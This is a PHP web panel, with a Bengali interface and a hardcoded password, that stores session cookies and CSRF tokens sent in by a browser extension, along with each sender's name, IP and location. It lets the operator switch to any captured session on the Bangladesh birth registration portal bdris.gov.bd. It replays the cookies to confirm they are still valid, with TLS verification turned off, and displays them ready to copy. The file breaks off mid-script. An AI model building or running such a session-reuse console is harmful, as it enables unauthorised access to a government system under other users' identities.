<?php
session_start();
@date_default_timezone_set('Asia/Dhaka');
// Basic Auth (reuse from system-manager or simple pass)
$ACCESS_PASS = 'Sumon160@';

if (isset($_POST['login_pass'])) {
    if ($_POST['login_pass'] === $ACCESS_PASS) {
        $_SESSION['session_admin'] = true;
    }
}

if (isset($_GET['logout'])) {
    session_destroy(); // Ensure session is completely destroyed
    unset($_SESSION['session_admin']);
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_SESSION['session_admin']) && !isset($_SESSION['sys_admin'])) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Session Manager Login</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    </head>
    <body class="bg-light d-flex align-items-center justify-content-center vh-100">
        <div class="card shadow p-4" style="max-width: 400px; width: 100%;">
            <h3 class="text-center mb-4">Session Manager</h3>
            <form method="post">
                <div class="mb-3">
                    <input type="password" name="login_pass" class="form-control" placeholder="Enter Password" required>
                </div>
                <button type="submit" class="btn btn-primary w-100">Login</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Paths
$baseDir = __DIR__;
$cookiesDir = $baseDir . "/cookies";

// Ensure cookies dir exists
if (!is_dir($cookiesDir)) {
    @mkdir($cookiesDir, 0755, true);
}

// Handle "Session Clean" (clear all)
if (isset($_POST['clear_all_sessions'])) {
    $deleted = 0;
    if (is_dir($cookiesDir)) {
        foreach (glob($cookiesDir . "/cookie_data_*.json") as $f) {
            if (@unlink($f)) {
                $deleted++;
            }
        }
    }
    $_SESSION['cookie_profile'] = 'default';
    $msg = "Session Clean সম্পন্ন: {$deleted} টি সেশন কুকি ডিলিট হয়েছে।";
}

// Handle delete request (single profile)
if (isset($_POST['delete_profile'])) {
    $delProfile = preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['delete_profile']);
    if ($delProfile !== '') {
        $cookieFile = $cookiesDir . "/cookie_data_{$delProfile}.json";
        if (file_exists($cookieFile)) {
            @unlink($cookieFile);
        }
        
        if (isset($_SESSION['cookie_profile']) && $_SESSION['cookie_profile'] === $delProfile) {
            $_SESSION['cookie_profile'] = 'default';
        }
        
        $msg = "Profile deleted: <strong>{$delProfile}</strong>";
    }
}

// Handle AJAX Activate (JSON response)
if (isset($_GET['ajax_activate'])) {
    header('Content-Type: application/json; charset=utf-8');
    $profile = preg_replace('/[^a-zA-Z0-9_-]/', '', $_GET['ajax_activate']);
    if ($profile === '' || $profile === 'default') {
        echo json_encode(['ok' => false, 'error' => 'Invalid profile']);
        exit;
    }
    $_SESSION['cookie_profile'] = $profile;
    $activeProfileFile = $cookiesDir . "/active_profile.txt";
    @file_put_contents($activeProfileFile, $profile);
    
    // Sync to bdris_cookie.txt
    $activeCookieFile = $cookiesDir . "/cookie_data_{$profile}.json";
    $newCookieString = '';
    if (file_exists($activeCookieFile)) {
        $data = json_decode(file_get_contents($activeCookieFile), true);
        if (isset($data['cookie_string'])) {
            $newCookieString = $data['cookie_string'];
            @file_put_contents($baseDir . "/bdris_cookie.txt", $newCookieString);
        }
    }
    // ✅ অন্য session card DELETE করা হবে না — সব card থাকবে
    
    echo json_encode([
        'ok' => true,
        'profile' => $profile,
        'has_cookie' => ($newCookieString !== '')
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

// Handle AJAX Deactivate
if (isset($_GET['ajax_deactivate'])) {
    header('Content-Type: application/json; charset=utf-8');
    $_SESSION['cookie_profile'] = 'default';
    $activeProfileFile = $cookiesDir . "/active_profile.txt";
    @file_put_contents($activeProfileFile, '');
    echo json_encode(['ok' => true, 'profile' => 'default'], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

// Handle Profile Selection (Activate) - regular GET redirect
if (isset($_GET['activate'])) {
    $profile = preg_replace('/[^a-zA-Z0-9_-]/', '', $_GET['activate']);
    $_SESSION['cookie_profile'] = $profile;
    $activeProfileFile = $cookiesDir . "/active_profile.txt";
    if ($profile !== '' && $profile !== 'default') {
        @file_put_contents($activeProfileFile, $profile);
    } else {
        @file_put_contents($activeProfileFile, '');
    }
    
    // Sync to bdris_cookie.txt for Dashboard Compatibility
    $activeCookieFile = $cookiesDir . "/cookie_data_{$profile}.json";
    $newCookieString = '';
    if (file_exists($activeCookieFile)) {
        $data = json_decode(file_get_contents($activeCookieFile), true);
        if (isset($data['cookie_string'])) {
            $newCookieString = $data['cookie_string'];
            file_put_contents($baseDir . "/bdris_cookie.txt", $newCookieString);
        }
    }
    
    // ✅ অন্য session card DELETE করা হবে না — সব card থাকবে
    
    $msg = "✅ Profile activated: <strong>$profile</strong> — এই সেশন সব পেজে চালু হয়েছে।";
}

// Build Registry from Files ONLY (More robust)
$registry = [];
$files = glob($cookiesDir . "/cookie_data_*.json");

if ($files) {
    foreach ($files as $file) {
        $raw = file_get_contents($file);
        $data = json_decode($raw, true);
        
        // If JSON is invalid, skip
        if (!$data || !is_array($data)) continue;
        
        $fileBase = basename($file);
        // Extract ID from filename: cookie_data_ID.json
        $profileKey = preg_replace('/^cookie_data_/', '', $fileBase);
        $profileKey = preg_replace('/\\.json$/', '', $profileKey);
        
        // Sanitize
        $profileKey = preg_replace('/[^a-zA-Z0-9_-]/', '', $profileKey);
        
        if (empty($profileKey)) continue;

        // Determine display name
        $displayName = '';
        if (isset($data['sender_name']) && !empty($data['sender_name'])) {
            $displayName = $data['sender_name'];
        } elseif (isset($data['browser_name']) && !empty($data['browser_name'])) {
            $displayName = $data['browser_name'];
        } else {
            $displayName = $profileKey;
        }

        $registry[$profileKey] = [
            'name' => $profileKey,
            'display_name' => $displayName,
            'browser' => $data['browser_name'] ?? $profileKey,
            'sender_ip' => (string)($data['sender_ip'] ?? ''),
            'location' => (string)($data['location'] ?? ''),
            'sender_name' => (string)($data['sender_name'] ?? ''),
            'csrf_header' => (string)($data['csrf_header'] ?? ''),
            'csrf_present' => !empty($data['csrf_token']),
            'last_updated' => $data['updated_at'] ?? filemtime($file),
            'status' => $data['last_status'] ?? 'active',
            'ext_version' => (string)($data['ext_version'] ?? '')
        ];
    }
} else {
    // If glob returns false or empty array
    // logDebug("No cookie files found in: " . $cookiesDir);
}

// Current Profile
$currentProfile = $_SESSION['cookie_profile'] ?? 'default';

// Helper to get cookies for a specific profile
function getCookieContent($profileName) {
    global $baseDir;
    $file = $baseDir . "/cookies/cookie_data_{$profileName}.json";
    if (file_exists($file)) {
        return file_get_contents($file);
    }
    return '';
}

$activeData = null;
try {
    $rawActive = ($currentProfile !== '' && $currentProfile !== 'default') ? getCookieContent((string)$currentProfile) : '';
    $decodedActive = $rawActive !== '' ? json_decode((string)$rawActive, true) : null;
    if (is_array($decodedActive)) $activeData = $decodedActive;
} catch (\Throwable $e) {
    $activeData = null;
}

// Helper: check real BDRIS login status for a profile
function checkLoginStatusForProfile($profileName) {
    global $baseDir;
    $file = $baseDir . "/cookies/cookie_data_{$profileName}.json";
    if (!file_exists($file)) {
        return 'unknown';
    }

    $raw = file_get_contents($file);
    $data = json_decode($raw, true);
    if (!is_array($data)) {
        return 'unknown';
    }

    $now = time();

    // Check if this is the active profile (to prevent logging out the main running ID)
    $activeProfileName = '';
    $activeProfileFile = $baseDir . "/cookies/active_profile.txt";
    if (file_exists($activeProfileFile)) {
        $activeProfileName = trim((string)file_get_contents($activeProfileFile));
    }
    if ($profileName === $activeProfileName || (isset($_SESSION['cookie_profile']) && $profileName === $_SESSION['cookie_profile'])) {
        $data['last_status'] = 'active';
        $data['last_status_checked'] = $now;
        file_put_contents($file, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
        return 'active';
    }

    // Use cached status if checked in last 2 minutes
    if (isset($data['last_status_checked']) && isset($data['last_status'])) {
        $age = $now - (int)$data['last_status_checked'];
        if ($age >= 0 && $age < 120) {
            return $data['last_status'];
        }
    }

    $cookieString = isset($data['cookie_string']) ? trim((string)$data['cookie_string']) : '';
    if ($cookieString === '') {
        $data['last_status'] = 'expired';
        $data['last_status_checked'] = $now;
        file_put_contents($file, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
        return 'expired';
    }

    $userAgent = !empty($data['user_agent'])
        ? $data['user_agent']
        : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36';

    $ch = curl_init();
    $url = 'https://bdris.gov.bd/br/application';
    $headers = [
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language: en-US,en;q=0.9,bn;q=0.8',
        'Connection: keep-alive',
        'Upgrade-Insecure-Requests: 1',
        'User-Agent: ' . $userAgent,
        'Referer: https://bdris.gov.bd/login',
        'Cookie: ' . $cookieString
    ];

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_ENCODING, '');
    curl_setopt($ch, CURLOPT_TIMEOUT, 12);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $redirectUrl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    unset($ch);

    $status = 'expired';
    if ($httpCode === 200 || $httpCode === 302) {
        $body = (string)$response;
        $isLoginPage =
            stripos($body, 'login-page') !== false ||
            stripos($body, '<title>Login</title>') !== false ||
            (is_string($redirectUrl) && stripos($redirectUrl, 'login') !== false);

        if (!$isLoginPage) {
            $status = 'active';
            $data['updated_at'] = $now; // Update the timestamp if still active!
        }
    }

    $data['last_status'] = $status;
    $data['last_status_checked'] = $now;
    file_put_contents($file, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));

    // Also update in db if possible
    try {
        require_once __DIR__ . '/db_connect.php';
        if (isset($pdo)) {
            $stmt = $pdo->prepare("UPDATE bdris_sessions SET last_status = ?, last_status_checked = ?, updated_at = ? WHERE profile = ?");
            $stmt->execute([$status, $now, $data['updated_at'] ?? $now, $profileName]);
        }
    } catch (\Throwable $e) {}

    return $status;
}

function getCachedLoginStatusForProfile($profileName) {
    global $baseDir;
    $file = $baseDir . "/cookies/cookie_data_{$profileName}.json";
    if (!file_exists($file)) {
        return 'unknown';
    }
    $raw = file_get_contents($file);
    $data = json_decode($raw, true);
    if (!is_array($data)) {
        return 'unknown';
    }
    $status = isset($data['last_status']) ? (string)$data['last_status'] : 'unknown';
    $checked = isset($data['last_status_checked']) ? (int)$data['last_status_checked'] : 0;
    if ($status === '') $status = 'unknown';
    if ($checked <= 0) return $status;
    $age = time() - $checked;
    if ($age > 600) return 'unknown';
    return $status;
}

// AJAX Handler for fetching current cookies
if (isset($_GET['ajax_get_cookies'])) {
    // If specific profile requested, use that. Otherwise use current active.
    $targetProfile = isset($_GET['profile']) ? $_GET['profile'] : $currentProfile;
    
    if ($targetProfile && $targetProfile !== 'default') {
        // Sanitize
        $targetProfile = preg_replace('/[^a-zA-Z0-9_-]/', '', $targetProfile);
        
        $raw = getCookieContent($targetProfile);
        
        if (empty($raw)) {
            // Return empty JSON object if file not found
            echo json_encode(['error' => 'Profile not found or empty']);
        } else {
            // Just return the raw content, let JS parse it
            echo $raw;
        }
    } else {
        echo json_encode(['error' => 'No session profile selected']);
    }
    exit;
}

if (isset($_GET['ajax_check_status'])) {
    header('Content-Type: application/json; charset=utf-8');
    $targetProfile = isset($_GET['profile']) ? $_GET['profile'] : $currentProfile;
    $targetProfile = preg_replace('/[^a-zA-Z0-9_-]/', '', (string)$targetProfile);
    if ($targetProfile === '' || $targetProfile === 'default') {
        echo json_encode(['ok' => false, 'error' => 'No profile selected'], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
        exit;
    }
    $status = checkLoginStatusForProfile($targetProfile);
    echo json_encode(['ok' => true, 'profile' => $targetProfile, 'status' => $status, 'checked_at' => time()], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

// AJAX: Session List এন্ডপয়েন্ট - Real-time polling এর জন্য
if (isset($_GET['ajax_session_list'])) {
    header('Content-Type: application/json; charset=utf-8');
    $since = isset($_GET['since']) ? (int)$_GET['since'] : 0;
    $files = glob($cookiesDir . '/cookie_data_*.json');
    $sessions = [];
    $latestTs = 0;
    if ($files) {
        foreach ($files as $file) {
            $raw = file_get_contents($file);
            $data = json_decode($raw, true);
            if (!$data || !is_array($data)) continue;
            $fileBase = basename($file);
            $profileKey = preg_replace('/^cookie_data_/', '', $fileBase);
            $profileKey = preg_replace('/\.json$/', '', $profileKey);
            $profileKey = preg_replace('/[^a-zA-Z0-9_-]/', '', $profileKey);
            if (empty($profileKey)) continue;
            $updatedAt = (int)($data['updated_at'] ?? 0);
            if ($updatedAt > $latestTs) $latestTs = $updatedAt;
            $displayName = '';
            if (!empty($data['sender_name'])) $displayName = $data['sender_name'];
            elseif (!empty($data['browser_name'])) $displayName = $data['browser_name'];
            else $displayName = $profileKey;
            $status = getCachedLoginStatusForProfile($profileKey);
            $isActive = ($currentProfile === $profileKey);
            $sessions[] = [
                'profile' => $profileKey,
                'display_name' => $displayName,
                'sender_ip' => (string)($data['sender_ip'] ?? ''),
                'location' => (string)($data['location'] ?? ''),
                'updated_at' => $updatedAt,
                'last_status' => $status,
                'is_active' => $isActive,
                'ext_version' => (string)($data['ext_version'] ?? ''),
            ];
        }
    }
    // Sort by updated_at desc
    usort($sessions, fn($a, $b) => $b['updated_at'] - $a['updated_at']);
    $activeProfileFile = $cookiesDir . '/active_profile.txt';
    $activeProfile = file_exists($activeProfileFile) ? trim((string)file_get_contents($activeProfileFile)) : '';
    echo json_encode([
        'ok' => true,
        'sessions' => $sessions,
        'count' => count($sessions),
        'active_profile' => $activeProfile,
        'server_ts' => time(),
        'has_new' => ($since > 0 && $latestTs > $since),
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

// Helper: Time Elapsed String
if (!function_exists('time_elapsed_string')) {
    function time_elapsed_string($datetime, $full = false) {
        $now = new DateTime;
        $ago = new DateTime('@' . $datetime);
        $diff = $now->diff($ago);

        $weeks = floor($diff->d / 7);
        $days = $diff->d - ($weeks * 7);

        $string = array(
            'y' => 'year',
            'm' => 'month',
            'w' => 'week',
            'd' => 'day',
            'h' => 'hour',
            'i' => 'minute',
            's' => 'second',
        );
        
        $result = array();
        
        foreach ($string as $k => $v) {
            if ($k === 'w') {
                $val = $weeks;
            } elseif ($k === 'd') {
                $val = $days;
            } else {
                $val = $diff->$k;
            }
            
            if ($val) {
                $result[] = $val . ' ' . $v . ($val > 1 ? 's' : '');
            }
        }

        if (!$full) $result = array_slice($result, 0, 1);
        return $result ? implode(', ', $result) . ' ago' : 'just now';
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Session Manager - লাইভ মনিটর</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        .status-dot { height: 12px; width: 12px; border-radius: 50%; display: inline-block; margin-right: 5px; }
        .bg-active { background-color: #28a745; box-shadow: 0 0 5px #28a745; }
        .bg-ready { background-color: #ffc107; box-shadow: 0 0 5px #ffc107; }
        .bg-inactive { background-color: #dc3545; }
        .card-sender { transition: transform 0.2s; }
        .card-sender:hover { transform: translateY(-5px); }
        .active-profile { border: 2px solid #198754; background-color: #f0fff4; }
        .browser-badge { font-size: 0.8rem; background-color: #e9ecef; color: #495057; border: 1px solid #ced4da; }
        
        /* Live Indicator */
        .live-indicator {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            font-size: 0.75rem;
            color: #28a745;
            font-weight: 600;
        }
        .live-dot {
            width: 8px;
            height: 8px;
            border-radius: 50%;
            background: #28a745;
            animation: livePulse 1.5s infinite;
        }
        @keyframes livePulse {
            0%, 100% { opacity: 1; transform: scale(1); }
            50% { opacity: 0.4; transform: scale(0.7); }
        }
        
        /* Toast notification */
        #sessionToast {
            position: fixed;
            bottom: 24px;
            right: 24px;
            z-index: 9999;
            min-width: 300px;
        }
        
        /* New card animation */
        @keyframes slideInCard {
            from { opacity: 0; transform: translateY(-20px) scale(0.95); }
            to { opacity: 1; transform: translateY(0) scale(1); }
        }
        .card-new-anim {
            animation: slideInCard 0.4s ease-out;
        }
        
        /* Updated card highlight */
        @keyframes highlightPulse {
            0% { box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.7); }
            70% { box-shadow: 0 0 0 10px rgba(40, 167, 69, 0); }
            100% { box-shadow: 0 0 0 0 rgba(40, 167, 69, 0); }
        }
        .card-updated {
            animation: highlightPulse 1s ease-out 2;
        }
        
        /* Activate Toggle Switch */
        .activate-toggle-wrap {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .btn-activate {
            background: linear-gradient(135deg, #28a745, #20c997);
            color: white;
            border: none;
            border-radius: 20px;
            padding: 6px 18px;
            font-size: 0.82rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.2s;
            box-shadow: 0 2px 8px rgba(40,167,69,0.3);
        }
        .btn-activate:hover {
            transform: scale(1.05);
            box-shadow: 0 4px 14px rgba(40,167,69,0.5);
        }
        .btn-activate:disabled {
            opacity: 0.6;
            cursor: not-allowed;
        }
        .session-active-badge {
            display: inline-flex;
            align-items: center;
            gap: 5px;
            background: linear-gradient(135deg, #198754, #28a745);
            color: white;
            border-radius: 20px;
            padding: 5px 14px;
            font-size: 0.8rem;
            font-weight: 600;
            box-shadow: 0 2px 8px rgba(40,167,69,0.4);
            animation: activePulse 2s infinite;
        }
        @keyframes activePulse {
            0%, 100% { box-shadow: 0 2px 8px rgba(40,167,69,0.4); }
            50% { box-shadow: 0 2px 18px rgba(40,167,69,0.8); }
        }
        .pc-badge {
            background: #e8f4fd;
            border: 1px solid #b8d4ee;
            color: #1565c0;
            border-radius: 8px;
            padding: 2px 8px;
            font-size: 0.72rem;
            font-family: monospace;
        }
    </style>
</head>
<body class="bg-light">

    <nav class="navbar navbar-expand-lg navbar-dark bg-dark mb-4">
      <div class="container">
        <a class="navbar-brand" href="#"><i class="fas fa-network-wired"></i> Session Manager <span class="badge bg-secondary" style="font-size: 0.6em;">v2.6</span></a>
        <div class="d-flex align-items-center gap-3">
            <span class="live-indicator" id="liveIndicator">
                <span class="live-dot"></span>
                LIVE
            </span>
            <small class="text-light opacity-50" id="lastPollTime" style="font-size:0.7rem;"></small>
            <a href="index.php" class="btn btn-outline-light btn-sm me-2">Back to Dashboard</a>
            <a href="?logout=1" class="btn btn-danger btn-sm">Logout</a>
        </div>
      </div>
    </nav>

<div class="container">
    
    <?php if (isset($msg)): ?>
        <div class="alert alert-success text-center alert-dismissible fade show">
            <?php echo $msg; ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
        </div>
    <?php endif; ?>

    <div class="card shadow-sm mb-4">
        <div class="card-body text-center">
            <h5>Current Active Profile: <span class="badge bg-primary"><?php echo htmlspecialchars($currentProfile); ?></span></h5>
            <p class="text-muted small mb-3">Select a session below to activate it for this browser.</p>

            <?php
                $activeSender = is_array($activeData) ? (string)($activeData['sender_name'] ?? '') : '';
                $activeIp = is_array($activeData) ? (string)($activeData['sender_ip'] ?? '') : '';
                $activeUpdated = is_array($activeData) ? (int)($activeData['updated_at'] ?? 0) : 0;
                $activeCsrf = is_array($activeData) ? (string)($activeData['csrf_token'] ?? '') : '';
                $activeHdr = is_array($activeData) ? (string)($activeData['csrf_header'] ?? '') : '';
                $activeExtVer = is_array($activeData) ? (string)($activeData['ext_version'] ?? '') : '';
                if ($activeHdr === '' && $activeCsrf !== '') $activeHdr = 'X-CSRF-TOKEN';
                $activeWhen = $activeUpdated > 0 ? date('d M Y, h:i A', $activeUpdated) : '';
            ?>
            <div class="table-responsive mb-3">
                <table class="table table-sm table-bordered bg-white mb-0" style="max-width: 820px; margin: 0 auto;">
                    <tbody>
                        <tr>
                            <th class="text-start" style="width: 180px;">Sender Name</th>
                            <td class="text-start"><?php echo htmlspecialchars($activeSender !== '' ? $activeSender : '—'); ?></td>
                        </tr>
                        <tr>
                            <th class="text-start">Sender IP</th>
                            <td class="text-start"><?php echo htmlspecialchars($activeIp !== '' ? $activeIp : '—'); ?></td>
                        </tr>
                        <tr>
                            <th class="text-start">Last Updated (BD)</th>
                            <td class="text-start"><?php echo htmlspecialchars($activeWhen !== '' ? $activeWhen : '—'); ?></td>
                        </tr>
                        <tr>
                            <th class="text-start">Token Header</th>
                            <td class="text-start"><?php echo htmlspecialchars($activeHdr !== '' ? $activeHdr : '—'); ?></td>
                        </tr>
                        <?php if ($activeExtVer !== ''): ?>
                        <tr>
                            <th class="text-start">Extension Version</th>
                            <td class="text-start"><?php echo htmlspecialchars($activeExtVer); ?></td>
                        </tr>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>
            <div class="mb-3">
                <button class="btn btn-sm btn-outline-success" onclick="viewCookies('<?php echo htmlspecialchars($currentProfile); ?>')">
                    <i class="fas fa-table"></i> View Session Table
                </button>
            </div>
            
            <div class="d-flex flex-wrap justify-content-center gap-2">
                <?php if ($currentProfile !== 'default' && $currentProfile !== ''): ?>
                    <a href="?activate=default" class="btn btn-outline-danger btn-sm">
                        <i class="fas fa-times-circle"></i> Deactivate Current Session
                    </a>
                <?php endif; ?>
                
                <form method="post" onsubmit="return confirm('সব সেশন কুকি একসাথে ডিলিট হবে, নিশ্চিত?');">
                    <input type="hidden" name="clear_all_sessions" value="1">
                    <button type="submit" class="btn btn-warning btn-sm">
                        <i class="fas fa-broom"></i> Session Clean (All)
                    </button>
                </form>
                
                <a href="check_session.php" target="_blank" class="btn btn-success btn-sm">
                    <i class="fas fa-sign-in-alt"></i> Login Check
                </a>
            </div>
        </div>
    </div>

    <div class="row" id="sessionCardsContainer">
        <?php if (empty($registry)): ?>
            <div class="col-12 text-center py-5" id="noSessionMsg">
                <div class="d-flex flex-column align-items-center gap-3">
                    <i class="fas fa-satellite-dish fa-3x text-muted opacity-50"></i>
                    <h4 class="text-muted">সেশন অপেক্ষায়...</h4>
                    <p class="text-muted">Extension থেকে লগিন করলে নিচে কার্ড তৈরি হবে অটোমেটিক্যালি</p>
                    <div class="spinner-grow text-success" style="width: 1rem; height: 1rem;"></div>
                </div>
            </div>
        <?php else: ?>
            <?php foreach ($registry as $key => $session): ?>
                <?php 
                    $isActive = ($currentProfile === $key);
                    $lastActive = isset($session['last_updated']) ? time_elapsed_string($session['last_updated']) : 'Unknown';
                    $status = getCachedLoginStatusForProfile($key);
                    $statusColor = ($status === 'active') ? 'success' : (($status === 'expired') ? 'danger' : 'warning');
                    $statusText = ucfirst($status);
                    $displayName = $session['display_name'] ?? $session['name'];
                ?>
                <div class="col-md-4 mb-4" id="cardWrap-<?php echo htmlspecialchars($key); ?>">
                    <div class="card h-100 shadow-sm session-card <?php echo $isActive ? 'border-primary' : ''; ?>" id="card-<?php echo htmlspecialchars($key); ?>">
                        <div class="card-header d-flex justify-content-between align-items-center <?php echo $isActive ? 'bg-primary text-white' : 'bg-light'; ?>">
                            <small class="fw-bold"><i class="fas fa-globe"></i> <?php echo htmlspecialchars($key); ?></small>
                            <span class="badge bg-<?php echo $statusColor; ?> text-<?php echo ($statusColor === 'warning') ? 'dark' : 'white'; ?>" id="statusBadge-<?php echo htmlspecialchars($key); ?>"><?php echo htmlspecialchars($statusText); ?></span>
                        </div>
                        <div class="card-body">
                            <h5 class="card-title text-truncate" title="<?php echo htmlspecialchars($displayName); ?>">
                                <i class="fas fa-desktop"></i> <?php echo htmlspecialchars($displayName); ?>
                            </h5>
                            <p class="card-text small text-muted mb-2">
                                <i class="far fa-clock"></i> Last Active: <?php echo $lastActive; ?><br>
                                <i class="far fa-calendar-alt"></i> Date: <?php echo date('d M Y, h:i A', $session['last_updated']); ?>
                                <br><i class="fas fa-network-wired"></i> IP: <?php echo htmlspecialchars(($session['sender_ip'] ?? '') !== '' ? (string)$session['sender_ip'] : '—'); ?>
                                <?php if (($session['location'] ?? '') !== ''): ?>
                                    <br><i class="fas fa-map-marker-alt"></i> Location: <?php echo htmlspecialchars($session['location']); ?>
                                <?php endif; ?>
                                <?php if (($session['ext_version'] ?? '') !== ''): ?>
                                    <br><i class="fas fa-code-branch"></i> Ext Version: <?php echo htmlspecialchars($session['ext_version']); ?>
                                <?php endif; ?>
                            </p>
                            
                            <div class="d-flex flex-wrap justify-content-between align-items-center mt-3 gap-2">
                                <div class="d-flex gap-1 flex-wrap">
                                    <button class="btn btn-sm btn-outline-secondary" onclick="viewCookies('<?php echo $key; ?>')">
                                        <i class="fas fa-eye"></i> View
                                    </button>
                                    <button class="btn btn-sm btn-outline-primary" onclick="refreshStatus('<?php echo $key; ?>')">
                                        <i class="fas fa-sync"></i> Check
                                    </button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('এই session কার্ড delete করবেন?');">
                                        <input type="hidden" name="delete_profile" value="<?php echo $key; ?>">
                                        <button type="submit" class="btn btn-sm btn-outline-danger">
                                            <i class="fas fa-trash"></i>
                                        </button>
                                    </form>
                                </div>
                                
                                <?php if ($isActive): ?>
                                    <span class="session-active-badge" id="activeBadge-<?php echo htmlspecialchars($key); ?>">
                                        <i class="fas fa-wifi"></i> সেশন চালু
                                    </span>
                                <?php else: ?>
                                    <button class="btn-activate" id="activateBtn-<?php echo htmlspecialchars($key); ?>" 
                                            onclick="activateSession('<?php echo htmlspecialchars($key); ?>')">
                                        <i class="fas fa-power-off"></i> সেশন চালু করুন
                                    </button>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            <?php endforeach; ?>
        <?php endif; ?>
    </div>
</div>

<!-- Cookie View Modal -->
<div class="modal fade" id="cookieModal" tabindex="-1">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">
      <div class="modal-header bg-info text-white">
        <h5 class="modal-title"><i class="fas fa-cookie-bite"></i> Session Data - <span id="modalSenderName"></span></h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
      </div>
      <div class="modal-body">
        
        <!-- Cookie String View (Priority) -->
        <div id="cookieStringSection" class="mb-3" style="display:none;">
            <label class="form-label fw-bold text-success"><i class="fas fa-key"></i> Cookie String (Ready to Copy)</label>
            <div class="input-group">
                <textarea class="form-control font-monospace" id="readyCookieString" rows="4" readonly style="font-size: 0.9em; background-color: #f8f9fa; color: #333;"></textarea>
                <button class="btn btn-success" type="button" onclick="copyReadyCookie()">
                    <i class="fas fa-copy"></i> Copy
                </button>
            </div>
            <div class="form-text text-muted">Use this string for 'Connect Setup' or manual connection.</div>
        </div>

        <!-- Formatted View -->
        <div id="formattedView" class="mb-3"></div>

        <!-- Raw View (Accordion) -->
        <div class="accordion" id="accordionRaw">
            <div class="accordion-item">
                <h2 class="accordion-header" id="headingRaw">
                    <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#collapseRaw">
                        Raw JSON Data
                    </button>
                </h2>
                <div id="collapseRaw" class="accordion-collapse collapse" data-bs-parent="#accordionRaw">
                    <div class="accordion-body bg-dark p-2 position-relative">
                         <button class="btn btn-sm btn-light position-absolute top-0 end-0 m-2" onclick="copyRaw()">
                            <i class="fas fa-copy"></i> Copy Raw
                        </button>
                        <textarea class="form-control font-monospace bg-dark text-success border-0" id="modalCookieContent" rows="8" readonly></textarea>
                    </div>
                </div>
            </div>
        </div>

      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
      </div>
    </div>
  </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>

<!-- Toast Notification for new sessions -->
<div class="toast-container position-fixed bottom-0 end-0 p-3" style="z-index: 9999">
    <div id="sessionToast" class="toast align-items-center text-bg-success border-0" role="alert" aria-live="assertive">
        <div class="d-flex">
            <div class="toast-body" id="toastMessage">
                <i class="fas fa-satellite-dish"></i> নতুন সেশন এসেছে!
            </div>
            <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast"></button>
        </div>
    </div>
</div>

<script>
    function refreshStatus(name) {
        const badge = document.getElementById('statusBadge-' + name);
        if (badge) {
            badge.textContent = 'Checking...';
            badge.className = 'badge bg-secondary';
        }

        fetch('?ajax_check_status=1&profile=' + encodeURIComponent(name))
            .then(r => r.json())
            .then(res => {
                if (!res || !res.ok) {
                    if (badge) {
                        badge.textContent = 'Unknown';
                        badge.className = 'badge bg-warning text-dark';
                    }
                    return;
                }
                const st = String(res.status || 'unknown').toLowerCase();
                if (!badge) return;
                if (st === 'active') {
                    badge.textContent = 'Active';
                    badge.className = 'badge bg-success text-white';
                } else if (st === 'expired') {
                    badge.textContent = 'Expired';
                    badge.className = 'badge bg-danger text-white';
                } else {
                    badge.textContent = 'Unknown';
                    badge.className = 'badge bg-warning text-dark';
                }
            })
            .catch(() => {
                if (badge) {
                    badge.textContent = 'Unknown';
                    badge.className = 'badge bg-warning text-dark';
                }
            });
    }

    function viewCookies(name) {
        document.getElementById('modalSenderName').textContent = name;
        
        // Fetch cookie data via AJAX
